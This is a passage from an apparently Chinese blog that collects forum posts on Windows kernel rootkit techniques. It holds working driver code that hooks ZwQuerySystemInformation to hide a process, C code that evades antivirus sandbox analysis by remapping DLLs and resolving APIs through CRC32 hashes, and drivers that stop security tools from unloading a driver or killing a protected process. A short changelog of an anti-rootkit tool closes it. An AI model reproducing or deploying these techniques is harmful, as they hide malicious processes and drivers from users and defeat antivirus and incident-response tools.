            ReturnLength: PULONG): NTSTATUS; stdcall;
var
  nt_Status: NTSTATUS;
  curr, prev: PSYSTEM_PROCESSES;
  times: PSYSTEM_PROCESSOR_TIMES;
begin
  nt_Status := OldZwQuerySystemInformation(
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

  if NT_SUCCESS(nt_Status) then
  begin
    { 請求文件、目錄列表 }
    if SystemInformationClass = SystemProcessesAndThreadsInformation then
    begin
      { 列舉系統進程鍊錶 }
      { 尋找"InstDrv"進程 }
      curr := PSYSTEM_PROCESSES(SystemInformation);
      prev := nil;
      while curr <> nil do
      begin
        DbgPrint('Current item is %x'#13#10, curr);
        if curr^.ProcessName.Buffer <> nil then
        begin
          if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
          begin
            Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
            Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

            if prev <> nil then
            begin
              { Middle or Last entry }
              if curr^.NextEntryDelta <> 0 then
                Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
              else
                { we are last, so make prev the end }
                prev^.NextEntryDelta := 0;
            end else
            begin
              if curr^.NextEntryDelta <> 0 then
              begin
                { we are first in the list, so move it forward }
                PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
                                                curr^.NextEntryDelta;
              end else { we are the only process! }
                SystemInformation := nil;
            end;
          end;
        end else { Idle process入口 }
        begin
          { 把InstDrv進程的時間加給Idle進程,Idle稱空閒時間 }
          Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
          Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

          { 重設時間,為下一次過濾 }
          m_UserTime.QuadPart := 0;
          m_KernelTime.QuadPart := 0;
        end;
        prev := curr;
        if curr^.NextEntryDelta <> 0 then
          PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
        else
          curr := nil;
      end;
    end else if SystemInformationClass = SystemProcessorTimes then
    begin
      times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
      times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
                                  m_UserTime.QuadPart +
                                  m_KernelTime.QuadPart;
    end;
  end;
  Result := nt_Status;
end;

procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
begin
  DbgPrint('ROOTKIT: OnUnload called'#13#10);

  { 卸載hook }
  InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                      LONG(@OldZwQuerySystemInformation));
  { 解鎖並釋放MDL }
  if g_pmdlSystemCall <> nil then
  begin
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  end;
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
                      pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
  { 取得指向系統服務描述符表的指針…… }
  lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
  { 註冊一個卸載的分發函數,與與應用層溝通 }
  pDriverObject^.DriverUnload := @OnUnload;

  { 初始化全局時間為零 }
  { 這將會解決時間問題,如果不這樣,儘管隱藏了進程,但時間的
    消耗會不變,cpu 100% }
  m_UserTime.QuadPart := 0;
  m_KernelTime.QuadPart := 0;

  { 保存舊的函數地址 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

  { 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

  { 把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,
   先突破了SSDT的保護,接著用InterlockedExchange更改了目標函數,
   下來就剩下具體的過濾任務了 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                        LONG(@NewZwQuerySystemInformation)));

  Result := STATUS_SUCCESS;
end;

end.

這裡我隱藏了InstDrv這個進程,加載驅動後可以發現我們的驅動確實Hook了ZwQuerySystemInformation,而且在進程列表中也看不到InstDrv進程,說明我們的驅動是成功的^_^。

2011年7月26日星期二

通過重映射+CRC32來過殺毒軟件虛擬機的動態行為檢查

通過重映射+CRC32來過殺毒軟件虛擬機的動態行為檢查
作 者: 玩命
時 間: 2010-11-18,09:44:13
鏈接: http://bbs.pediy.com/showthread.php?t=125011

好幾個朋友問我如何過虛擬機,虛擬機跑起來除了脫殼的作用。還有就是針對動態獲取的API做調用做判別然後歸納行為。以下代碼就是解決這個問題的。


代碼:
#include <string.h>
#include "crc.h"

#include "xGetProcAddress.h"

#define __GetDosHeader__(x) ((PIMAGE_DOS_HEADER)(x))
#define __GetNtHeader__(x) ((PIMAGE_NT_HEADERS)((DWORD)__GetDosHeader__(x)->e_lfanew + (DWORD)(x)))
#define __RvaToVa__(base,offset) ((PVOID)((ULONG)(base) + (ULONG)(offset)))
#define __VaToRva__(base,offset) ((PVOID)((ULONG)(offset) - (ULONG)(base)))

typedef HMODULE (WINAPI *FPLoadLibraryA)(LPCSTR pLibName);
typedef ULONG (__stdcall *FPHashFunc)(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue);
typedef LPVOID (WINAPI *FPVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI *FPDllMain)(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);

PIMAGE_DATA_DIRECTORY ExistDataDirectory(PUCHAR pMem, DWORD dwIndex) {
    PIMAGE_NT_HEADERS pNtHeader = __GetNtHeader__(pMem);
    return (PIMAGE_DATA_DIRECTORY)(&pNtHeader->OptionalHeader.DataDirectory[dwIndex]);
}

ULONG __stdcall MyHashFunc(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue) {
    ULONG dwCrc32 = crc32(pTarget, iTargetSize);
    memcpy(pHashValue, &dwCrc32, sizeof(ULONG));
    return sizeof(ULONG);
}

PIMAGE_SECTION_HEADER GetFirstSectionByNtHeader(PIMAGE_NT_HEADERS pNtH) {
    return IMAGE_FIRST_SECTION(pNtH);
}

BOOL InThisSection(PIMAGE_SECTION_HEADER pSectH, DWORD ofOffset, BOOL bRva) {
    return (bRva ? (ofOffset >= (DWORD)(pSectH->VirtualAddress)) && (ofOffset < (DWORD)(pSectH->VirtualAddress + pSectH->Misc.VirtualSize)) :
        (ofOffset >= (DWORD)(pSectH->PointerToRawData)) && (ofOffset < (DWORD)(pSectH->PointerToRawData + pSectH->SizeOfRawData)));
}

PIMAGE_SECTION_HEADER Rva2Section(PUCHAR pMem, DWORD ofRva) {
    PIMAGE_NT_HEADERS pNtH = __GetNtHeader__(pMem);
    PIMAGE_SECTION_HEADER pSectH = GetFirstSectionByNtHeader(pNtH);
    WORD wNumOfSects = pNtH->FileHeader.NumberOfSections;
    while (wNumOfSects > 0) {
        if (InThisSection(pSectH, ofRva, TRUE))
            break;

        --wNumOfSects;
        ++pSectH;
    }

    return (0 == wNumOfSects ? NULL : pSectH);
}

PIMAGE_SECTION_HEADER Raw2Section(PUCHAR pMem, DWORD ofRaw) {
    PIMAGE_NT_HEADERS pNtH = __GetNtHeader__(pMem);
    PIMAGE_SECTION_HEADER pSectH = GetFirstSectionByNtHeader(pNtH);
    WORD wNumOfSects = pNtH->FileHeader.NumberOfSections;
    while (wNumOfSects > 0) {
        if (InThisSection(pSectH, ofRaw, FALSE))
            break;

        --wNumOfSects;
        pSectH++;
    }

    return (0 == wNumOfSects ? NULL : pSectH);
}

DWORD Rva2Raw(PUCHAR pMem, DWORD ofRva) {
    PIMAGE_SECTION_HEADER pSectH = Rva2Section(pMem, ofRva);
    return ((NULL == pSectH) ? NULL : (ofRva - pSectH->VirtualAddress + pSectH->PointerToRawData));
}

DWORD Raw2Rva(PUCHAR pMem, DWORD ofRaw) {
    PIMAGE_SECTION_HEADER pSectH = Raw2Section(pMem, ofRaw);
    return ((NULL == pSectH) ? NULL : (ofRaw - pSectH->PointerToRawData + pSectH->VirtualAddress));
}

// 函數聲明
FARPROC xLdrGetExportByName(
    PUCHAR pBaseAddress,
    PUCHAR pHashPoint,
    ULONG iHashSize,
    FPHashFunc pHashFunc, FARPROC fpLoadLibraryA
    );
ULONG __stdcall xLdrFixupForwardHashFunc(PUCHAR pTarget, ULONG iTargetSize, PUCHAR pHashValue) {
    memcpy(pHashValue, pTarget, iTargetSize);
    return iTargetSize;
}

FARPROC xLdrFixupForward(PUCHAR pForwardName, FARPROC fpLoadLibraryA) {
    CHAR NameBuffer[128];
    PUCHAR pPoint;
    HMODULE hModule;
    PUCHAR pBaseAddress;
    FARPROC pFunction;
    FPLoadLibraryA pLoadLibraryA = (FPLoadLibraryA)fpLoadLibraryA;

    strcpy(NameBuffer, (char *)pForwardName);
    pPoint = (PUCHAR)strchr(NameBuffer, '.');
    if (pPoint) {
        ULONG iProcLen = 0;

        *pPoint = 0;
        hModule = pLoadLibraryA(NameBuffer);
        if (!hModule) return NULL;

        iProcLen = strlen((char *)pPoint + 1);
        pFunction = xLdrGetExportByName((PUCHAR)hModule,
                                        (PUCHAR)(pPoint + 1),
                                        iProcLen,
                                        (FPHashFunc)xLdrFixupForwardHashFunc,
                                        fpLoadLibraryA);
        return pFunction;
    }

    return NULL;
}

FARPROC xLdrGetExportByOrdinal(PUCHAR pBaseAddress, WORD wOrdinal, FARPROC fpLoadLibraryA) {
    PIMAGE_EXPORT_DIRECTORY pExportDir;
    ULONG iExportDirSize;
    ULONG **pExFunctionsPoint;
    FARPROC pFunction;
    PIMAGE_DATA_DIRECTORY pExportDataDirectory = ExistDataDirectory(pBaseAddress, IMAGE_DIRECTORY_ENTRY_EXPORT);
    pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBaseAddress + pExportDataDirectory->VirtualAddress);
    if (!pExportDir)
        return NULL;
    iExportDirSize = pExportDataDirectory->Size;

    pExFunctionsPoint = (ULONG **)__RvaToVa__(pBaseAddress, pExportDir->AddressOfFunctions);
    pFunction = (FARPROC)(0 != pExFunctionsPoint[wOrdinal - pExportDir->Base]
                ? __RvaToVa__(pBaseAddress, pExFunctionsPoint[wOrdinal - pExportDir->Base])
                : NULL);

    if (((DWORD)pFunction >= (DWORD)pExportDir) &&
        ((DWORD)pFunction < (DWORD)pExportDir + (DWORD)iExportDirSize))
        pFunction = xLdrFixupForward((BYTE *)pFunction, fpLoadLibraryA);

    return pFunction;
}

FARPROC xLdrGetExportByName(PUCHAR pBaseAddress, PUCHAR pHashPoint, ULONG iHashSize, \
                                              FPHashFunc pHashFunc, FARPROC fpLoadLibraryA) {
    WORD wOrdinal = 0;
    ULONG iDirCount = 0;
    ULONG *pAddrTable = NULL;
    ULONG addrAddr = 0;
    ULONG ofRVA = 0;
    ULONG iExpDataSize = 0;
    PIMAGE_EXPORT_DIRECTORY pEd = NULL;
    PIMAGE_NT_HEADERS pNt = NULL;
    PIMAGE_DATA_DIRECTORY pExportDataDirectory = NULL;
    if (pBaseAddress == NULL) return NULL;

    pNt = __GetNtHeader__(pBaseAddress);
    iDirCount = pNt->OptionalHeader.NumberOfRvaAndSizes;
    if (iDirCount < IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return FALSE;
    pExportDataDirectory = ExistDataDirectory(pBaseAddress, IMAGE_DIRECTORY_ENTRY_EXPORT);
    if (!pExportDataDirectory)
        return NULL;
    iExpDataSize = pExportDataDirectory->Size;
    pEd = (PIMAGE_EXPORT_DIRECTORY)__​​RvaToVa__(pBaseAddress, pExportDataDirectory->VirtualAddress);
    if (HIWORD((DWORD)pHashPoint)==0) {
        wOrdinal = (WORD)(LOWORD((DWORD)pHashPoint)) - pEd->Base;
    } else {
        ULONG i, iCount;
        ULONG *pdwNamePtr;
        WORD *pwOrdinalPtr;

        iCount = (ULONG)(pEd->NumberOfNames);
        pdwNamePtr = (ULONG *)__RvaToVa__(pBaseAddress, pEd->AddressOfNames);
        pwOrdinalPtr = (WORD *)__RvaToVa__(pBaseAddress, pEd->AddressOfNameOrdinals);

        for(i = 0; i < iCount; i++) {
            BYTE HashValue[1024];
            CHAR *svName = NULL;
            ULONG iHashValueSize = 0;
            ULONG iSvNameLen = 0;

            svName = (char *)__RvaToVa__(pBaseAddress, *pdwNamePtr);
            iSvNameLen = strlen(svName);
            iHashValueSize = pHashFunc((PUCHAR)svName, iSvNameLen, HashValue);
            if (strcmp("GetLastError", svName) == 0)
            {
                int i = 0;
            }
            if (iHashValueSize == iHashSize) {
                if (memcmp(HashValue, pHashPoint, iHashSize) == 0) {
                    wOrdinal = *pwOrdinalPtr;
                    break;
                }
            }
            pdwNamePtr++;
            pwOrdinalPtr++;
        }
        if (i == iCount) return NULL;
    }

    pAddrTable=(ULONG *)__RvaToVa__(pBaseAddress, pEd->AddressOfFunctions);
    ofRVA = pAddrTable[wOrdinal];
    addrAddr = (ULONG)__RvaToVa__(pBaseAddress, ofRVA);
    if (((ULONG)addrAddr >= (ULONG)pEd) &&
        ((ULONG)addrAddr < (ULONG)pEd + (ULONG)iExpDataSize))
        (FARPROC)addrAddr = xLdrFixupForward((PUCHAR)addrAddr, fpLoadLibraryA);

    return (FARPROC)addrAddr;
}

FARPROC xLdrGetProcedureAddress(PUCHAR pBaseAddress, PUCHAR pHashPoint, ULONG iHashSize, FPHashFunc pHashFunc, FARPROC fpLoadLibraryA) {
    FARPROC pProcedureAddress = NULL;
    ULONG dwOrdinal = (ULONG)pHashPoint;

    if (HIWORD((ULONG)pHashPoint)) {
        pProcedureAddress = xLdrGetExportByName(pBaseAddress, pHashPoint, iHashSize, pHashFunc, fpLoadLibraryA);
    } else {
        dwOrdinal &= 0x0000FFFF;
        pProcedureAddress = xLdrGetExportByOrdinal(pBaseAddress, (WORD)dwOrdinal, fpLoadLibraryA);
    }
    return pProcedureAddress;
}

FARPROC g_pLoadLibraryAInGetProcAddressByCrc32 = NULL;

VOID xInitGetProcAddress(FARPROC pLoadLibraryA) {
    g_pLoadLibraryAInGetProcAddressByCrc32 = pLoadLibraryA;
}

FARPROC xGetProcAddressByCrc32(HMODULE hModule, PUCHAR pCrc32Point) {
    FARPROC pProc = NULL;
    pProc = xLdrGetProcedureAddress((PUCHAR)hModule,
                                    pCrc32Point,
                                    sizeof(DWORD),
                                    MyHashFunc,
                                    (FARPROC)g_pLoadLibraryAInGetProcAddressByCrc32);
    return pProc;
}

// 重定位所需結構
#pragma pack(push,1)
// 修復入口
typedef struct _IMAGE_FIXUP_ENTRY {
    WORD offset:12;
    WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
// 重定位塊
typedef struct _IMAGE_FIXUP_BLOCK {
    DWORD dwPageRVA;
    DWORD dwBlockSize;
} IMAGE_FIXUP_BLOCK, *PIMAGE_FIXUP_BLOCK;
#pragma pack(pop)
BOOL BaseRelocation(PUCHAR pMem, DWORD addrOldImageBase, DWORD addrNewImageBase, BOOL bIsInFile) {
    PIMAGE_NT_HEADERS pNtHdr = NULL;
    DWORD delta = (DWORD)(addrNewImageBase - addrOldImageBase);
    DWORD *pFixAddRhi = NULL;
    BOOL bHaveFixAddRhi = FALSE;
    DWORD iRelocSize = 0;

    pNtHdr = __GetNtHeader__(pMem);
    iRelocSize = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

    if ((delta) && (iRelocSize)) {
        PIMAGE_FIXUP_BLOCK pStartFB = NULL;
        PIMAGE_FIXUP_BLOCK pIBR = NULL;
        if (bIsInFile) {
            DWORD iRelocRaw = Rva2Raw(pMem, pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
            pIBR = (PIMAGE_FIXUP_BLOCK)(pMem + iRelocRaw);
        } else {
            pIBR = (PIMAGE_FIXUP_BLOCK)__RvaToVa__(addrNewImageBase, pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
        }
        pStartFB = pIBR;

        // 遍歷每個重定位塊
        while ((DWORD)(pIBR - pStartFB) < iRelocSize) {
            PIMAGE_FIXUP_ENTRY pFE;
            DWORD i, iCount = 0;
            if (pIBR->dwBlockSize > 0) {
                iCount=(pIBR->dwBlockSize - sizeof(IMAGE_FIXUP_BLOCK)) / sizeof(IMAGE_FIXUP_ENTRY);
                pFE = (PIMAGE_FIXUP_ENTRY)(((PUCHAR)pIBR) + sizeof(IMAGE_FIXUP_BLOCK));
            } else {
                //pIBR = (PIMAGE_FIXUP_BLOCK)(((__memory)pIBR) + sizeof(IMAGE_FIXUP_BLOCK));
                //continue;
                break;
            }

            // 修復每個入口
            for (i = 0; i < iCount; i++) {
                PUCHAR pFixAddr = NULL;
                if (bIsInFile) {//如果在文件中
                    DWORD ofRva = pIBR->dwPageRVA + pFE->offset;
                    DWORD ofRaw = Rva2Raw(pMem, ofRva);
                    pFixAddr = pMem + ofRaw;
                } else {//如果在內存中
                    pFixAddr = (PUCHAR)__RvaToVa__(addrNewImageBase, pIBR->dwPageRVA + pFE->offset);
                }

                switch (pFE->type)
                {
#if defined(_X86_)
                case IMAGE_REL_BASED_ABSOLUTE:
                    break;
                case IMAGE_REL_BASED_HIGH:
                    *((signed short *)pFixAddr) += (signed short)HIWORD(delta);
                    break;
                case IMAGE_REL_BASED_LOW:
                    *((signed short *)pFixAddr) += (signed short)LOWORD(delta);
                    break;
                case IMAGE_REL_BASED_HIGHLOW:
                    *((signed short *)pFixAddr) += (signed short)delta;
                    break;
                case IMAGE_REL_BASED_HIGHADJ: // This one's really fucked up.
                    {
                        DWORD dwAdjust;
                        dwAdjust = ((*((WORD *)pFixAddr)) << 16) | (*(WORD *)(pFE + 1));
                        (signed long)dwAdjust += (signed long)delta;
                        dwAdjust += 0x00008000;
                        *((WORD *)pFixAddr) = HIWORD(dwAdjust);
                    }
                    pFE++;
                    break;
#endif
                default:
                    return FALSE;
                }/* end switch */
                pFE++;
            }/* end for */

            pIBR = (PIMAGE_FIXUP_BLOCK)((PUCHAR)pIBR + pIBR->dwBlockSize);
        }/* end while */
    }
    return TRUE;
}

// 重映射DLL
PUCHAR RemapDllEx(PUCHAR pOrigMap, FPVirtualAlloc pVirtualAlloc) {
    PUCHAR pNewMap = NULL;
    DWORD iSizeOfImage = 0;
    FPDllMain pDllMain = NULL;
    PIMAGE_NT_HEADERS pOrigMapNtHdr = NULL;

    pOrigMapNtHdr = __GetNtHeader__(pOrigMap);
    iSizeOfImage = pOrigMapNtHdr->OptionalHeader.SizeOfImage;
    pNewMap = (PUCHAR)pVirtualAlloc(NULL, iSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pNewMap) return NULL;
    memset(pNewMap, 0, iSizeOfImage);
    memcpy(pNewMap, pOrigMap, iSizeOfImage);
    // 進行重定位
    BaseRelocation(pNewMap, (DWORD)pOrigMap, (DWORD)pNewMap, FALSE);
    // 獲取到入口點地址,並運行
    //pDllMain = (FPDllMain)(pNewMap + (pOrigMapNtHdr->OptionalHeader.AddressOfEntryPoint));
    //pDllMain((HMODULE)pNewMap, DLL_PROCESS_ATTACH, NULL);
    return pNewMap;
}

PUCHAR RemapDll(PUCHAR pOrigMap) {
    return RemapDllEx(pOrigMap, VirtualAlloc);
}
在LoadLibrary後使用Remap重新映射出一個句柄,再使用xGetProcAddress使用預定義的Hash值獲取API地址。這樣虛擬機在跑的過程中就不能判別調用的地址到底是哪個函數,達到通過虛擬機啟發式的檢測。

代碼上用到了crc32算法不貼了自己寫吧。這是在SOURCE上的免殺,如果是BIN,就做殼。在處理引入表的時候,重新映射,或許可以加一些stub之類的。還有變形。這樣保護性能也可以提高。 。 。

如果開啟了DEP選項,在SOUCE時在C++編譯便簽修改為DEP不兼容,如果是BIN上把BIN的DLL屬性的DEP兼容清位就可以了。如果目標機器開啟DEP 2級。那麼就神馬都是浮云了。 。 。

2011年7月25日星期一

很多句話讓XueTr卸載不了我們的驅動(ObjectType HOOK)

作 者: KiDebug 
時 間: 2011-05-24,13:34:43 
鏈接: http://bbs.pediy.com/showthread.php?t=134415

對於ObjectType HOOK,可以參考MJ0011和sudami的文章:

ObjectType HOOK干涉註冊表操作(bypass Icesword,gmer,NIAP,etc.)
http://www.xfocus.net/articles/200802/966.html

一種Object hook的思路和實現過程
http://forum.eviloctal.com/thread-33688-1-1.html

兩篇文章的共同點都是去HOOK系統已經生成的object type裡面的例程,系統怎麼去用這些例程呢?仍然以上篇的《一句話讓XueTr卸載不了我們的驅動》為例,驅動卸載時,函數調用如下:
kd> kp
ChildEBP RetAddr
ee5deb30 805b1bde nt!IopDeleteDriver
ee5deb4c 80523bf1 nt!ObpRemoveObjectRoutine+0xe0
ee5deb70 804f5778 nt!ObfDereferenceObject+0x5f
ee5dec14 8057a83d nt!IopUnloadDriver+0x28a
ee5dec24 8053e6d8 nt!NtUnloadDriver+0xf
ee5dec24 80500231 nt!KiFastCallEntry+0xf8
ee5deca0 804f55df nt!ZwUnloadDriver+0x11
ee5ded48 8057a83d nt!IopUnloadDriver+0xf1
ee5ded58 8053e6d8 nt!NtUnloadDriver+0xf

ObpRemoveObjectRoutine定義如下:
VOID
ObpRemoveObjectRoutine (
    IN PVOID Object,
    IN BOOLEAN CalledOnWorkerThread
    )

Object是我們的驅動對象DriverObject,
有如下的代碼:
    ObjectHeader = OBJECT_TO_OBJECT_HEADER( Object );
    ObjectType = ObjectHeader->Type;

    if (ObjectType->TypeInfo.DeleteProcedure) {

#if DBG
        KIRQL SaveIrql;
#endif

        ObpBeginTypeSpecificCallOut( SaveIrql );

        if (!CalledOnWorkerThread) {

            ObjectHeader->Flags |= OB_FLAG_DELETED_INLINE;
        }

        (*(ObjectType->TypeInfo.DeleteProcedure))(Object);

        ObpEndTypeSpecificCallOut( SaveIrql, "Delete", ObjectType, Object );
    }

可以看到是從Object取ObjectHeader,然後從ObjectHeader取ObjectType,從ObjectType取TypeInfo.DeleteProcedure。沒有直接取系統已經生成的ObjectType
因此,我們可以自己構造一個ObjectType,裡面填充自己定義的例程,然後覆蓋Object上面的ObjectHeader裡面的ObjectType,這樣系統取到的TypeInfo.DeleteProcedure就是我們自己定義的例程了。

測試代碼如下:
/*
* 作者:KiDebug
* 空間:http://hi.baidu.com/KiDebug/
*/
#include <ntddk.h>

UCHAR My_OBJECT_TYPE[0x200];

void testUnload(IN PDRIVER_OBJECT DriverObject)
{
}

NTSTATUS testDefaultHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
  Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
  Irp->IoStatus.Information = 0;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Irp->IoStatus.Status;
}

void DoNothing()
{

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
  ULONG i;

  for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++)
    DriverObject->MajorFunction[i] = testDefaultHandler;

  DriverObject->DriverUnload = testUnload;

  __asm
  {
    mov eax,DriverObject
    mov esi,[eax-10h] //+0x008 Type +0x018 Body 兩者相差0x10
    lea edi,My_OBJECT_TYPE
    mov ecx,64h //_OBJECT_TYPE共0x190個字節,0x64個DWORD
    rep movsd //把Driver的系統自帶的_OBJECT_TYPE複製到My_OBJECT_TYPE裡面
    lea ebx,My_OBJECT_TYPE
    mov ecx,DoNothing
    mov [ebx+98h],ecx //+0x038 DeleteProcedure
    mov [eax-10h],ebx //把My_OBJECT_TYPE覆蓋成自己DriverObject頭上的Type
  };

  return STATUS_SUCCESS;
}
用InstDrv.exe加載編譯後的驅動,依次點擊安裝、啟動,然後用XueTr查看“驅動模塊”,可以看到test.sys,可以在右鍵菜單中點擊“卸載驅動(危險)”,但刷新後test.sys依然還在。
把My_OBJECT_TYPE覆蓋掉XueTr.sys驅動對像上面的ObjectHeader裡面的ObjectType,XueTr功能沒影響,能幹啥幹啥。
這樣的HOOK用XueTr查不到,可以推廣到其他的對像中去,比如說註冊表、進程等等。

既然能加載驅動,能進內核了,那麼神馬都是浮云了:看到什麼就可以HOOK什麼,反過來看到HOOK了什麼,就可以反HOOK什麼。

2011年7月23日星期六

不HOOK任何函數,讓任務管理器、XueTr、360進程管理器無法結束保護進程

作 者: KiDebug
時 間: 2011-05-29,11:17:38
鏈接: http://bbs.pediy.com/showthread.php?t=134645

【提示】能加驅動進內核,就沒必要弄EXE了,所以我個人覺得沒啥實際用途,僅供觀看

Windows會給每一個進程建立一個EPROCESS結構,給每一個線程建立ETHREAD結構,EPROCESS結構第一個成員是KPROCESS結構,ETHREAD結構第一個成員是KTHREAD結構。每個進程的線程的ETHREAD結構都會按下圖所示鏈接起來:
無標題.png下載此附件需要消耗2Kx,下載中會自動扣除。

裡面有兩條鍊錶。通過遍歷這兩條鍊錶,可以得到一個進程所有的線程。 Windows在執行線程調度時,不會去管這兩條鍊錶。只有當新建一個線程時,會加入到鍊錶中,一個線程退出時,會從鍊錶中移除。

如果在EPROCESS中將這兩條鍊錶置空,會發生什麼事呢?



以下是驗證步驟:

【注意】請先關閉360安全衛士,以免加載驅動時提示。驅動代碼中用了一堆的硬編碼,所以請確保操作系統為Windows XP SP3 中文版,否則可能藍屏。

1.編譯以下代碼為haha.exe
/*
 * 【作者:KiDebug】
 * 【空間:http://hi.baidu.com/KiDebug/】
 */
#include <Windows.h>

int APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
  //這個循環是用來證明進程沒有被結束,不是重點,請無視!
  while (1)
  {
    MessageBoxA(NULL,"關不了,氣死你!~","哈哈!~",MB_OK);
  }
  return 0;
}

雙擊打開haha.exe,它會不斷地調用MessageBox彈出對話框,此時任務管理器、XueTr、360進程管理器都可以結束haha.exe

2.確保haha.exe可以彈出對話框,然後再編譯以下代碼為ProtectHaha.sys,利用InstDrv.exe加載ProtectHaha.sys,依次點擊安裝、啟動、停止、卸載
/*
 * 【作者:KiDebug】
 * 【空間:http://hi.baidu.com/KiDebug/】
 */
#include <ntddk.h>

void DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
  __asm
  {
    mov ebx,PsInitialSystemProcess
    mov ebx,[ebx]
    lea ebx,[ebx+88h] //+0x088 ActiveProcessLinks : _LIST_ENTRY
L1: mov ebx,[ebx] //遍歷ActiveProcessLinks,找haha.exe的EPROCESS
    cmp dword ptr [ebx+0ECh],61686168h
    jnz L1
    cmp dword ptr [ebx+0F0h],6578652eh //68 61 68 61 2e 65 78 65 haha​​.exe
    jnz L1

    //88h、50h、190h、194h都是硬編碼,適用於Windows XP SP3
    lea ebx,[ebx-88h] //EBX為haha.exe的EPROCESS
    lea eax,[ebx+50h] //nt!_KPROCESS
    mov [ebx+50h],eax //+0x050 ThreadListHead : _LIST_ENTRY
    mov [ebx+54h],eax //置為空鏈
    lea eax,[ebx+190h] //nt!_EPROCESS
    mov [ebx+190h],eax //+0x190 ThreadListHead : _LIST_ENTRY
    mov [ebx+194h],eax //置為空鏈
  }

  DriverObject->DriverUnload = DriverUnload;
  return STATUS_SUCCESS;
}
3.打開任務管理器,選中haha.exe,點​​擊“結束進程”,haha.exe無法結束,仍然可以不停地彈對話框;
4.打開XueTr,在“進程”窗口中選中haha.exe按右鍵,點擊“結束進程”,haha.exe無法結束,仍然可以不停地彈對話框;刷新,再次右鍵,點擊“強制結束進程” ,haha.exe無法結束,仍然可以不停地彈對話框;
5.打開360安全衛士(8.0.0.2001),啟動“功能大全”裡面的“進程管理器”,選中haha.exe,點​​擊“關閉程序”,haha.exe無法結束,仍然可以不停地彈對話框;

【注意】
1.有可能點擊對話框右上角的關閉按鈕後,haha.exe會假死。這時先隨便點下桌面或其他什麼地方,再點對話框的“確定”按鈕,就又活過來了。
2.如果要應用到其他進程上,請確保驅動啟動後這個進程不會新建線程,否則“強制結束進程”可以結束掉新建線程,可能會造成進程假死。
3.haha.exe中只有一個線程,對於其他進程,在EPROCESS中將兩條鍊錶置空後需要將鍊錶中第一個線程和最後一個線程的ThreadListEntry鏈接起來。
4.對於其他進程,置空鍊錶時需要考慮同步問題。

如何結束haha.exe呢?
在XueTr“進程”窗口中選中haha.exe按右鍵,點擊“查看進程線程”,把看到的線程全部結束即可。
WS點可以把線程棧空間設小點,然後創建成百上千個線程……

2011年7月22日星期五

XueTr更新到0.41版本,修正Bug[2011-06-25]




本工具目前初步實現如下功能:
1.進程、線程、進程模塊、進程窗口、進程內存、熱鍵、定時器信息查看,殺進程、殺線程、卸載模塊等功能
2.內核驅動模塊查看,支持內核驅動模塊的內存拷貝
3.SSDT、Shadow SSDT、FSD、KBD、TCPIP、Classpnp、Atapi、Acpi、SCSI、IDT信息查看,並能檢測和恢復ssdt hook和inline hook
4.CreateProcess、CreateThread、LoadImage、Shutdown、Lego等Notify Routine信息查看,並支持對這些Notify Routine的刪除
